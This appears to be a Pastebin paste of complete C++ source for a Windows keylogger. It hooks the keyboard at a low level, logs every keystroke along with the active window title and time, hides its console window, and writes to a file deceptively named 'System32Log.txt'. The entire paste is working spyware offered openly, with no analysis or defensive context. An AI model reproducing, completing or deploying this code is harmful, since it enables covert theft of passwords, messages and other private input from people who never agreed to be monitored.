Advertisement
Twissel

Bullshit Keylogger

May 12th, 2021
628
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 5.37 KB | None | 0 0
  1. #include <Windows.h>
  2. #include <time.h>
  3. #include <iostream>
  4. #include <cstdio>
  5. #include <fstream>
  6.  
  7. // defines whether the window is visible or not
  8. // should be solved with makefile, not in this file
  9. #define invsible 1// (visible / invisible)
  10. //странно почему у итальянского Владимира не видит этот дефайн внутри функции Stealth? =)
  11.  
  12. // variable to store the HANDLE to the hook. Don't declare it anywhere else then globally
  13. // or you will get problems since every function uses this variable.
  14. HHOOK _hook;
  15.  
  16. // This struct contains the data received by the hook callback. As you see in the callback function
  17. // it contains the thing you will need: vkCode = virtual key code.
  18. KBDLLHOOKSTRUCT kbdStruct;
  19.  
  20. int Save(int key_stroke);
  21. std::ofstream OUTPUT_FILE;
  22.  
  23. extern char lastwindow[256];
  24.  
  25. // This is the callback function. Consider it the event that is raised when, in this case,
  26. // a key is pressed.
  27. LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
  28. {
  29.     if (nCode >= 0)
  30.     {
  31.         // the action is valid: HC_ACTION.
  32.         if (wParam == WM_KEYDOWN)
  33.         {
  34.             // lParam is the pointer to the struct containing the data needed, so cast and assign it to kdbStruct.
  35.             kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
  36.  
  37.             // save to file
  38.             Save(kbdStruct.vkCode);
  39.         }
  40.     }
  41.  
  42.     // call the next hook in the hook chain. This is nessecary or your hook chain will break and the hook stops
  43.     return CallNextHookEx(_hook, nCode, wParam, lParam);
  44. }
  45.  
  46. void SetHook()
  47. {
  48.     // Set the hook and set it to use the callback function above
  49.     // WH_KEYBOARD_LL means it will set a low level keyboard hook. More information about it at MSDN.
  50.     // The last 2 parameters are NULL, 0 because the callback function is in the same thread and window as the
  51.     // function that sets and releases the hook.
  52.     if (!(_hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0)))
  53.     {
  54.         MessageBox(NULL, "Failed to install hook!", "Error", MB_ICONERROR);
  55.     }
  56. }
  57.  
  58. void ReleaseHook()
  59. {
  60.     UnhookWindowsHookEx(_hook);
  61. }
  62.  
  63. int Save(int key_stroke)
  64. {
  65.     char lastwindow[256];
  66.  
  67.     if ((key_stroke == 1) || (key_stroke == 2))
  68.         return 0; // ignore mouse clicks
  69.  
  70.     HWND foreground = GetForegroundWindow();
  71.     DWORD threadID;
  72.     HKL layout;
  73.     if (foreground) {
  74.         //get keyboard layout of the thread
  75.         threadID = GetWindowThreadProcessId(foreground, NULL);
  76.         layout = GetKeyboardLayout(threadID);
  77.     }
  78.  
  79.     if (foreground)
  80.     {
  81.         char window_title[256];
  82.         GetWindowText(foreground, window_title, 256);
  83.  
  84.         if(strcmp(window_title, lastwindow)!=0) {
  85.             strcpy(lastwindow, window_title);
  86.  
  87.             // get time
  88.             time_t t = time(NULL);
  89.             struct tm *tm = localtime(&t);
  90.             char s[64];
  91.             strftime(s, sizeof(s), "%c", tm);
  92.  
  93.             OUTPUT_FILE << "\n\n[Window: "<< window_title << " - at " << s << "] ";
  94.         }
  95.     }
  96.  
  97.  
  98.     std::cout << key_stroke << '\n';
  99.  
  100.     if (key_stroke == VK_BACK)
  101.         OUTPUT_FILE << "[BACKSPACE]";
  102.     else if (key_stroke == VK_RETURN)
  103.         OUTPUT_FILE <<  "\n";
  104.     else if (key_stroke == VK_SPACE)
  105.         OUTPUT_FILE << " ";
  106.     else if (key_stroke == VK_TAB)
  107.         OUTPUT_FILE << "[TAB]";
  108.     else if (key_stroke == VK_SHIFT || key_stroke == VK_LSHIFT || key_stroke == VK_RSHIFT)
  109.         OUTPUT_FILE << "[SHIFT]";
  110.     else if (key_stroke == VK_CONTROL || key_stroke == VK_LCONTROL || key_stroke == VK_RCONTROL)
  111.         OUTPUT_FILE << "[CONTROL]";
  112.     else if (key_stroke == VK_ESCAPE)
  113.         OUTPUT_FILE << "[ESCAPE]";
  114.     else if (key_stroke == VK_END)
  115.         OUTPUT_FILE << "[END]";
  116.     else if (key_stroke == VK_HOME)
  117.         OUTPUT_FILE << "[HOME]";
  118.     else if (key_stroke == VK_LEFT)
  119.         OUTPUT_FILE << "[LEFT]";
  120.     else if (key_stroke == VK_UP)
  121.         OUTPUT_FILE << "[UP]";
  122.     else if (key_stroke == VK_RIGHT)
  123.         OUTPUT_FILE << "[RIGHT]";
  124.     else if (key_stroke == VK_DOWN)
  125.         OUTPUT_FILE << "[DOWN]";
  126.     else if (key_stroke == 190 || key_stroke == 110)
  127.         OUTPUT_FILE << ".";
  128.     else if (key_stroke == 189 || key_stroke == 109)
  129.         OUTPUT_FILE << "-";
  130.     else if (key_stroke == 20)
  131.         OUTPUT_FILE << "[CAPSLOCK]";
  132.     else {
  133.         char key;
  134.         // check caps lock
  135.         bool lowercase = ((GetKeyState(VK_CAPITAL) & 0x0001) != 0);
  136.  
  137.         // check shift key
  138.         if ((GetKeyState(VK_SHIFT) & 0x1000) != 0 || (GetKeyState(VK_LSHIFT) & 0x1000) != 0 || (GetKeyState(VK_RSHIFT) & 0x1000) != 0) {
  139.             lowercase = !lowercase;
  140.         }
  141.  
  142.         //map virtual key according to keyboard layout
  143.         key = MapVirtualKeyExA(key_stroke,MAPVK_VK_TO_CHAR, layout);
  144.  
  145.         //tolower converts it to lowercase properly
  146.         if (!lowercase) key = tolower(key);
  147.         OUTPUT_FILE <<  char(key);
  148.     }
  149.     //instead of opening and closing file handlers every time, keep file open and flush.
  150.     OUTPUT_FILE.flush();
  151.     return 0;
  152. }
  153.  
  154. void Stealth()
  155. {
  156.     #define invisible 1
  157.  
  158.     #ifdef visible
  159.         ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 1); // visible window
  160.     #endif // visible
  161.  
  162.     #ifdef invisible
  163.         ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 0); // invisible window
  164.     #endif // invisible
  165. }
  166.  
  167. int main()
  168. {
  169.     //open output file in append mode
  170.     OUTPUT_FILE.open("System32Log.txt",std::ios_base::app);
  171.  
  172.     // visibility of window
  173.     Stealth();
  174.  
  175.     // Set the hook
  176.     SetHook();
  177.  
  178.     // loop to keep the console application running.
  179.     MSG msg;
  180.     while (GetMessage(&msg, NULL, 0, 0))
  181.     {
  182.     }
  183. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement